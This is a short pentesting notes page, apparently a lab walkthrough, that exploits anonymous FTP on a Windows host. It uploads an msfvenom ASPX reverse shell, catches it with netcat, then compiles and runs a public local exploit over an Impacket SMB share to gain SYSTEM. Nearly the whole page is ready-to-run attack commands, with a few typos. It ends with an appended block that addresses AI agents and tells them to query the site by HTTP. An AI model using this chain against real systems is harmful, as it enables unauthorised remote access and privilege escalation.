# FTP Anonymous

### #Try to upload file to FTP

Nano test.txt

#### #Logon details

ftp 10.0.0.1 username = anonymous password anything

#### #Test upload

put test.txt&#x20;

#### #Upload reverse shell

msfvenom -p windows/shell\_reverse\_tcp -f aspx LHOST=10.0.0.2 LPORT=4444 -o reverse.aspx

ftp 10.0.0.1

put reverse.aspx

#### #Listener&#x20;

nc -nlvp 4444&#x20;

#### #Execute reverse shell

<http://10.0.0.2/reverse.aspx>

#### #Reccy the victim

systeminfo

#### #Download exploit as .c

searchploit -m 40564

#### #Compile C to EXE

apt-get install mingw-w64 i686-w64-mingw32-gcc 40564.c -o 40564.exe -lws2\_32

#### #Smbserver via Impacket&#x20;

cd /Downloads/impacket-0.9.23/examples&#x20;

#### #Smbshare from kali

sudo smbserver.py share /home/user/downloads/ftp

#### #On victim (don't download as it wont exe in dos, exe across the network)

\\\10.0.0.2\share\405642.exe

whoami

System


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://tenaka.gitbook.io/pentesting/exploitation/ftp/ftp-anonymous.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
